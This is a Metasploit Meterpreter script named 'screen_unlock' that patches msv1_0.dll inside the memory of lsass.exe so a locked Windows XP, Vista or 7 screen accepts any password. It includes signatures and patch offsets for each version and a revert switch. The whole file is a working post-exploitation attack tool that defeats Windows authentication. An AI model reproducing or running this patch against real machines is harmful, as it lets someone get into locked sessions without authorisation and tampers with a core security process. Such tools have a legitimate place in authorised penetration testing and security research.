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#
# Script to unlock a windows screen by L4teral <l4teral [4t] gmail com>
# Needs system prvileges to run and known signatures for the target system.
# This script patches msv1_0.dll loaded by lsass.exe
#
# Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
#
revert = false
targets = [
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ },
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
]
opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ],
"-r" => [ false, "revert the patch (enable screen locking again)"]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-r"
revert = true
when "-h"
print_line("")
print_line("USAGE: run screen_unlock [-r]")
print_line(opts.usage)
raise Rex::Script::Completed
end
}
os = client.sys.config.sysinfo['OS']
targets.each do |t|
if os =~ t[:os]
target = t
print_status("OS '#{os}' found in known targets")
pid = client.sys.process["lsass.exe"]
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
dllbase = p.image["msv1_0.dll"]
sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]
if sig != target[:sig]
print_error("found signature does not match")
next
end
old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
print_error("found code does not match")
next
end
print_status("patching...")
new_code = revert ? target[:orig_code] : target[:patch]
p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*"))
written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]
if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
print_status("done!")
raise Rex::Script::Completed
else
print_error("failed!")
next
end
end
end
print_status("no working target found")